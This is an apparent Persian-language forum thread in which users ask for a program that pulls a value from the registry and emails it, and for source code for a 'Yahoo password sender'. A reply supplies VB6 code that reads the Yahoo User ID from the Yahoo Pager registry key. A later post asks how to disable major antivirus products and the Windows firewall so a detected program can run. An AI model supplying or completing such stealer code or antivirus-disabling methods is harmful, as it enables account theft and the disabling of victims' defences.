سلام
من میخوام یه برنامه بنویسم که یه متنی رو از توی رجیستری دربیاره و بذاره توی تکست باکس و به ایمل بفرسته.متنش مهم نیست ولی از توی رجیستری باشه مثل متن Value.
یا اگه میشه یه سورس پاسورد سندر یاهو به ایمیل رو بذارید.
Printable View
سلام
من میخوام یه برنامه بنویسم که یه متنی رو از توی رجیستری دربیاره و بذاره توی تکست باکس و به ایمل بفرسته.متنش مهم نیست ولی از توی رجیستری باشه مثل متن Value.
یا اگه میشه یه سورس پاسورد سندر یاهو به ایمیل رو بذارید.
این کد ای دی رو از ریجستری میخونه !نقل قول:
3 تا تکست باکس رو فرمت بذار
کد:
Option Explicit
Const KEY_QUERY_VALUE = &H1
Const HKEY_CURRENT_USER = &H80000001
Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long
Private Const ERROR_NO_MORE_ITEMS = 259&
Private Declare Function RegEnumValueA Lib "advapi32" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Sub Form_Load()
Dim hKey As Long, Cnt As Long, Ret As Long, RetData As Long
Dim sName As String, sData As String
RegOpenKeyExA HKEY_CURRENT_USER, "Software\yahoo\Pager", 0, KEY_QUERY_VALUE, hKey
sName = Space(255)
sData = Space(255)
Ret = 255
RetData = 255
Cnt = 0
While RegEnumValueA(hKey, Cnt, sName, Ret, 0, ByVal 0&, ByVal sData, RetData) <> ERROR_NO_MORE_ITEMS
sName = Left$(sName, Ret)
If UCase(sName) = UCase("Yahoo! User ID") Then
Text1.Text = sName
Text2.Text = sData
Text3.Text = "cnt: " & Cnt
End If
Cnt = Cnt + 1
sName = Space(255)
sData = Space(255)
Ret = 255
RetData = 255
Wend
RegCloseKey hKey
End Sub
شرمنده همگی
من یه برنامه دارم که قبل از اجرا شدن ویروس یاب تشخیصش میده.
چجوری میشه ویروس یاب های قدرتمند مثل مک آفی و کاسپراسکای ونورتون و .... و حتی فایروال ها از جمله فایروال ویندوز رو غیر فعال کرد؟
در کل چجوری میشه که برنامه بدون هیچ مشکلی اجرا بشه؟
شرمنده همگی
من یه برنامه دارم که قبل از اجرا شدن ویروس یاب تشخیصش میده.
چجوری میشه ویروس یاب های قدرتمند مثل مک آفی و کاسپراسکای ونورتون و .... و حتی فایروال ها از جمله فایروال ویندوز رو غیر فعال کرد؟
در کل چجوری میشه که برنامه بدون هیچ مشکلی اجرا بشه؟
کسی جواب نمیده
کد:WWW.saeedvirus123.blogfa.com